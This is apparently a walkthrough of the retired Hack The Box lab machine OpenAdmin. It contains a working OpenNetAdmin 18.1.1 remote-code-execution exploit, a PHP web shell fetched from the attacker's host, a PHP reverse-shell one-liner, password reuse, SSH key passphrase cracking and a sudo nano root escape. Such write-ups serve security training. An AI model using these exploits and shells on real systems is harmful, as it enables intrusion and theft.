9 minutes
Openadmin
Note to fellow-HTBers: Only write-ups of retired HTB machines or challenges are allowed.
Machine info ¶
OpenAdmin [by dmw0ng]
IP: 10.10.10.171
OS: Linux
Difficulty: Easy
Release: 4 Jan 2020
Retired: 4 May 2020
Recon ¶
Nmap ¶
As usual we kick off with a nmap scan of the box
$ nmap -v -A -sC -T4 -oA scanning/nmap_openadmin 10.10.10.171
Nmap scan report for 10.10.10.171
Host is up (0.033s latency).
Not shown: 974 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 4b:98:df:85:d1:7e:f0:3d:da:48:cd:bc:92:00:b7:54 (RSA)
| 256 dc:eb:3d:c9:44:d1:18:b1:22:b4:cf🇩🇪bd:6c:7a:54 (ECDSA)
|_ 256 dc:ad:ca:3c:11:31:5b:6f:e6:a4:89:34:7c:9b:e5:50 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
| http-methods:
|_ Supported Methods: OPTIONS HEAD GET POST
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: "Apache2 Ubuntu Default Page: It works"
90/tcp filtered dnsix
106/tcp filtered pop3pw
407/tcp filtered timbuktu
500/tcp filtered isakmp
1041/tcp filtered danf-ak2
1063/tcp filtered kyoceranetdev
1163/tcp filtered sddp
1309/tcp filtered jtag-server
1311/tcp filtered rxmon
2001/tcp filtered dc
3493/tcp filtered nut
6001/tcp filtered X11:1
6059/tcp filtered X11:59
6100/tcp filtered synchronet-db
7676/tcp filtered imqbrokerd
7920/tcp filtered unknown
8000/tcp open http SimpleHTTPServer 0.6 (Python 3.6.8)
| http-methods:
|_ Supported Methods: GET HEAD
|_http-server-header: SimpleHTTP/0.6 Python/3.6.8
|_http-title: "Directory listing for /"
8443/tcp filtered https-alt
8994/tcp filtered unknown
9101/tcp filtered jetdirect
9575/tcp filtered unknown
9943/tcp filtered unknown
40193/tcp filtered unknown
54328/tcp filtered unknown
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
I believe the SimpleHTTPServer on port 8000 is actually from another pentester who’s exfiltrating some stuff.
Dirb ¶
Let’s run dirbuster on the website (port 80) to see if we can find any interesting folders or files.
$ dirb http://10.10.10.171:80/ /usr/share/dirb/wordlists/common.txt -o scanning/dirb_openadmin_p80.txt -l
-----------------
DIRB v2.22
By The Dark Raver
-----------------
OUTPUT_FILE: scanning/dirb_openadmin_p80.txt
START_TIME: Wed Feb 12 17:14:24 2020
URL_BASE: http://10.10.10.171:80/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
OPTION: Printing LOCATION header
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://10.10.10.171:80/ ----
==> DIRECTORY: http://10.10.10.171:80/artwork/
+ http://10.10.10.171:80/index.html (CODE:200|SIZE:10918)
==> DIRECTORY: http://10.10.10.171:80/music/
+ http://10.10.10.171:80/server-status (CODE:403|SIZE:277)
This gives us the /artwork
and /music
folders.
Looking at the different pages, we find a login button on the Solmusic website.

This button leads us to a new website: http://10.10.10.171/ona/
ONA ¶
ONA, which appears to stand for OpenNetAdmin, provides a database managed inventory of your IP network.
Browsing through tha application, we find that it’s running v18.1.1, which is not the most recent version.

We also find a hostname, which we could add to our /etc/hosts
file.

Foothold ¶
Using searchsploit
we find some potential exploits for OpenNetAdmin.
One of the exploits promises RCE (Remote Code Execution) on OpenNetAdmin v18.1.1. PERFECT!
We download the exploit script and have a look at how it works.
$ mkdir exploits
$ cd exploits
$ searchsploit -m 47691
$ cat 47691.sh
# Exploit Title: OpenNetAdmin 18.1.1 - Remote Code Execution
# Date: 2019-11-19
# Exploit Author: mattpascoe
# Vendor Homepage: http://opennetadmin.com/
# Software Link: https://github.com/opennetadmin/ona
# Version: v18.1.1
# Tested on: Linux
# Exploit Title: OpenNetAdmin v18.1.1 RCE
# Date: 2019-11-19
# Exploit Author: mattpascoe
# Vendor Homepage: http://opennetadmin.com/
# Software Link: https://github.com/opennetadmin/ona
# Version: v18.1.1
# Tested on: Linux
#!/bin/bash
URL="${1}"
while true;do
echo -n "$ "; read cmd
curl --silent -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;echo \"BEGIN\";${cmd};echo \"END\"&xajaxargs[]=ping" "${URL}" | sed -n -e '/BEGIN/,/END/ p' | tail -n +2 | head -n -1
So we can manually test the exploit, testing the whoami
command.
$ curl -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;echo \"BEGIN\";whoami;echo \"END\"&xajaxargs[]=ping" http://openadmin.htb/ona/ | sed -n -e '/BEGIN/,/END/ p' | tail -n +2 | head -n -1
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 3179 100 3049 100 130 26513 1130 --:--:-- --:--:-- --:--:-- 27643
www-data
Success!
Shell ¶
So let’s try and get a shell on the box.
For this, we create a PHP page that’ll allow us to execute commands on the target box.
<html>
<head>
<title>Webshell</title>
</head>
<body bgcolor=#000000 text=#ffffff ">
<form method=POST>
<br>
<input type=TEXT name="-cmd" size=64 value="<?php echo $cmd ?>" style="background:#000000;color:#ffffff;">
<hr>
<pre>
<?php $cmd = $_REQUEST["-cmd"];?>
<?php if($cmd != "") print Shell_Exec($cmd);?>
</pre>
</form>
</body>
</html>
To quickly transfer the file to the target box, we can set up a webserver on our machine and download the file on the target.
$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
$ curl -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;echo \"BEGIN\";wget http://10.10.14.101:8000/FlatMarsSociet.php;echo \"END\"&xajaxargs[]=ping" http://openadmin.htb/ona/ | sed -n -e '/BEGIN/,/END/ p' | tail -n +2 | head -n -1
Our shell is now available at http://10.10.10.171/ona/FlatMarsSociet.php
We can use is shell to run commands, but it’s also more intuitive to run commands in a terminal instead of a web page.
So let’s provide ourselves with a reverse shell.
# Attacker box
$ nc -lvp 1337
# Web shell
php -r '$sock=fsockopen("10.10.14.101",1337);exec("/bin/sh -i <&3 >&3 2>&3");'
And test using whoami
again
$ nc -vlp 1337
listening on [any] 1337 ...
connect to [10.10.14.101] from openadmin.htb [10.10.10.171] 41104
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
User ¶
Continue enumeration ¶
To investigate the box further, we can use LinEnum to help us find interesting paths (for potential privesc).
$ wget http://10.10.14.101:8000/LinEnum.sh
$ chmod u+x LinEnum.sh
$ ./LinEnum.sh | tee LinEnum.log
Looking at the output, we only seem to find usernames.
[-] Users that have previously logged onto the system:
Username Port From Latest
root tty1 Sat Jan 4 21:23:05 +0000 2020
jimmy pts/1 10.10.15.71 Wed Feb 12 17:36:17 +0000 2020
joanna pts/3 10.10.15.71 Wed Feb 12 17:40:59 +0000 2020
So let’s look at some configuration files.
Since ONA uses a database, we might be able to find some db creds.
$ pwd
/opt/ona/www
$ cat local/config/database_settings.inc.php
<?php
$ona_contexts=array (
'DEFAULT' =>
array (
'databases' =>
array (
0 =>
array (
'db_type' => 'mysqli',
'db_host' => 'localhost',
'db_login' => 'ona_sys',
'db_passwd' => 'n1nj4W4rri0R!',
'db_database' => 'ona_default',
'db_debug' => false,
),
),
'description' => 'Default data context',
'context_color' => '#D3DBFF',
),
);
Password reuse (Jimmy) ¶
Since people tend to reuse passwords, let’s try this password in combination with the username we found.
$ ssh jimmy@10.10.10.171
jimmy@10.10.10.171's password: # n1nj4W4rri0R!
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-70-generic x86_64)
[...]
jimmy@openadmin:~$
We now have access to Johny’s account.
Enum, enum, enum ¶
With this new account, we’ll enumerate some more.
We discover that there’s an additional web server running.
jimmy@openadmin:~$ ls /var/www/
html internal ona
jimmy@openadmin:~$ ls /var/www/internal/
index.php logout.php main.ph
We have index.php
<?php
ob_start();
session_start();
?>
[...]
<div class = "container form-signin">
<h2 class="featurette-heading">Login Restricted.<span class="text-muted"></span></h2>
<?php
$msg = '';
if (isset($_POST['login']) && !empty($_POST['username']) && !empty($_POST['password'])) {
if ($_POST['username'] == 'jimmy' && hash('sha512',$_POST['password']) == '00e302ccdcf1c60b8ad50ea50cf72b939705f49f40f0dc658801b4680b7d758eebdc2e9f9ba8ba3ef8a8bb9a796d34ba2e856838ee9bdde852b8ec3b3a0523b1') {
$_SESSION['username'] = 'jimmy';
header("Location: /main.php");
} else {
$msg = 'Wrong username or password.';
}
}
?>
</div> <!-- /container -->
<div class = "container">
<form class = "form-signin" role = "form"
action = "<?php echo htmlspecialchars($_SERVER['PHP_SELF']);
?>" method = "post">
<h4 class = "form-signin-heading"><?php echo $msg; ?></h4>
<input type = "text" class = "form-control"
name = "username"
required autofocus></br>
<input type = "password" class = "form-control"
name = "password" required>
<button class = "btn btn-lg btn-primary btn-block" type = "submit"
name = "login">Login</button>
</form>
</div>
</body>
</html>
Here we find a the sha512 hash for Jimmy’s password.
After a sucessful login, we go to main.php. Let’s have a look at the source of that page.
<?php session_start(); if (!isset ($_SESSION['username'])) { header("Location: /index.php"); };
# Open Admin Trusted
# OpenAdmin
$output = shell_exec('cat /home/joanna/.ssh/id_rsa');
echo "<pre>$output</pre>";
?>
<html>
<h3>Don't forget your "ninja" password</h3>
Click here to logout <a href="logout.php" tite = "Logout">Session
</html>
Looks like this page print the private SSH key of Joanna. There’s also a hint about a “ninja” password.
Notice that the code only checks whether the session has a username variable set.
Let’s check the Apache config and see where the internal site is hosted.
jimmy@openadmin:~$ ls /etc/apache2/sites-enabled/
internal.conf openadmin.conf
jimmy@openadmin:~$ cat /etc/apache2/sites-enabled/internal.conf
Listen 127.0.0.1:52846
<VirtualHost 127.0.0.1:52846>
ServerName internal.openadmin.htb
DocumentRoot /var/www/internal
<IfModule mpm_itk_module>
AssignUserID joanna joanna
</IfModule>
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>
The internal site is hosted on port 52846 on the localhost interface and has internal.openadmin.htb
as hostname.
The mod_mpm_itk Apache module causes the Apache process to switch to the domain owner’s user identifier (UID) and group identifier (GID) before it responds to the request.
This allows each user to isolate their files from others with the standard file permission settings.
That’s how the webpage is able to read Joanna’s SSH privkey without having to grant read access to the www-data user.
Let’s use cURL to load the main.php page.
Notice how I didn’t have to enter a password. I’m not 100% certain that this isn’t a fluke.
jimmy@openadmin:~$ curl http://127.0.0.1:52846/main.php
<pre>-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,2AF25344B8391A25A9B318F3FD767D6D
kG0UYIcGyaxupjQqaS2e1HqbhwRLlNctW2HfJeaKUjWZH4usiD9AtTnIKVUOpZN8
ad/StMWJ+MkQ5MnAMJglQeUbRxcBP6++Hh251jMcg8ygYcx1UMD03ZjaRuwcf0YO
ShNbbx8Euvr2agjbF+ytimDyWhoJXU+UpTD58L+SIsZzal9U8f+Txhgq9K2KQHBE
6xaubNKhDJKs/6YJVEHtYyFbYSbtYt4lsoAyM8w+pTPVa3LRWnGykVR5g79b7lsJ
ZnEPK07fJk8JCdb0wPnLNy9LsyNxXRfV3tX4MRcjOXYZnG2Gv8KEIeIXzNiD5/Du
y8byJ/3I3/EsqHphIHgD3UfvHy9naXc/nLUup7s0+WAZ4AUx/MJnJV2nN8o69JyI
9z7V9E4q/aKCh/xpJmYLj7AmdVd4DlO0ByVdy0SJkRXFaAiSVNQJY8hRHzSS7+k4
piC96HnJU+Z8+1XbvzR93Wd3klRMO7EesIQ5KKNNU8PpT+0lv/dEVEppvIDE/8h/
/U1cPvX9Aci0EUys3naB6pVW8i/IY9B6Dx6W4JnnSUFsyhR63WNusk9QgvkiTikH
40ZNca5xHPij8hvUR2v5jGM/8bvr/7QtJFRCmMkYp7FMUB0sQ1NLhCjTTVAFN/AZ
fnWkJ5u+To0qzuPBWGpZsoZx5AbA4Xi00pqqekeLAli95mKKPecjUgpm+wsx8epb
9FtpP4aNR8LYlpKSDiiYzNiXEMQiJ9MSk9na10B5FFPsjr+yYEfMylPgogDpES80
X1VZ+N7S8ZP+7djB22vQ+/pUQap3PdXEpg3v6S4bfXkYKvFkcocqs8IivdK1+UFg
S33lgrCM4/ZjXYP2bpuE5v6dPq+hZvnmKkzcmT1C7YwK1XEyBan8flvIey/ur/4F
FnonsEl16TZvolSt9RH/19B7wfUHXXCyp9sG8iJGklZvteiJDG45A4eHhz8hxSzh
Th5w5guPynFv610HJ6wcNVz2MyJsmTyi8WuVxZs8wxrH9kEzXYD/GtPmcviGCexa
RTKYbgVn4WkJQYncyC0R1Gv3O8bEigX4SYKqIitMDnixjM6xU0URbnT1+8VdQH7Z
uhJVn1fzdRKZhWWlT+d+oqIiSrvd6nWhttoJrjrAQ7YWGAm2MBdGA/MxlYJ9FNDr
1kxuSODQNGtGnWZPieLvDkwotqZKzdOg7fimGRWiRv6yXo5ps3EJFuSU1fSCv2q2
XGdfc8ObLC7s3KZwkYjG82tjMZU+P5PifJh6N0PqpxUCxDqAfY+RzcTcM/SLhS79
yPzCZH8uWIrjaNaZmDSPC/z+bWWJKuu4Y1GCXCqkWvwuaGmYeEnXDOxGupUchkrM
+4R21WQ+eSaULd2PDzLClmYrplnpmbD7C7/ee6KDTl7JMdV25DM9a16JYOneRtMt
qlNgzj0Na4ZNMyRAHEl1SF8a72umGO2xLWebDoYf5VSSSZYtCNJdwt3lF7I8+adt
z0glMMmjR2L5c2HdlTUt5MgiY8+qkHlsL6M91c4diJoEXVh+8YpblAoogOHHBlQe
K1I1cqiDbVE/bmiERK+G4rqa0t7VQN6t2VWetWrGb+Ahw/iMKhpITWLWApA3k9EN
-----END RSA PRIVATE KEY-----
</pre><html>
<h3>Don't forget your "ninja" password</h3>
Click here to logout <a href="logout.php" tite = "Logout">Session
</html>
I suspect the ‘correct’ method would be to crack the hash, allowing us to login.
We can use the vast collection of rainbow/lookup tables of CrackStation to help us with that.

We would then pass the password Revealed
to the login page, which would result in a valid session and redirect us to main.php
$ curl -XPOST http://localhost:52846 -d "login&username=jimmy&password=Revealed" -L -v
Copy the SSH key to a local file on the attacker’s box and try to SSH as Joanna.
$ chmod 600 ssh.key
$ ssh -i ssh.key joanna@10.10.10.171
Enter passphrase for key 'ssh.txt':
Let’s try to crack the password.
$ /usr/share/john/ssh2john.py ssh.key > ssh.key.john
$ john --wordlist=/usr/share/wordlists/rockyou.txt ssh.key.john
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 4 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
bloodninjas (ssh.txt)
Warning: Only 2 candidates left, minimum 4 needed for performance.
1g 0:00:00:03 DONE (2020-02-13 22:46) 0.3115g/s 4467Kp/s 4467Kc/s 4467KC/sa6_123..*7¡Vamos!
Session completed
So the private key is protected with the password bloodninjas
.
Joanna (Flag) ¶
Logging in as Joanna, we find the user flag.
$ ssh -i ssh.key joanna@10.10.10.171
Enter passphrase for key 'ssh.txt': # bloodninjas
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-70-generic x86_64)
[...]
joanna@openadmin:~$ ls
user.txt
joanna@openadmin:~$ wc -m user.txt
33 user.txt
Privesc ¶
Let’s see if this user has any special privileges.
joanna@openadmin:~$ sudo -l
Matching Defaults entries for joanna on openadmin:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User joanna may run the following commands on openadmin:
(ALL) NOPASSWD: /bin/nano /opt/priv
Looks like Joanna can open /opt/priv
in nano using sudo, which gives us admin rights.
GTFObins gives us the perfect resource to find paths for privilege escalation.
We learn that nano allows us to run commands, using Ctrl+R and Ctrl+X.
joanna@openadmin:~$ sudo /bin/nano /opt/priv
^R ^X
Command to execute: ls /root/
root.txt
^R ^X
Command to execute: cat /root/root.txt
2f[...]61
And there we have the root flag :)
This is definitely a box that shows that enumeration is important and that we might need to pivot a few times to get where we want.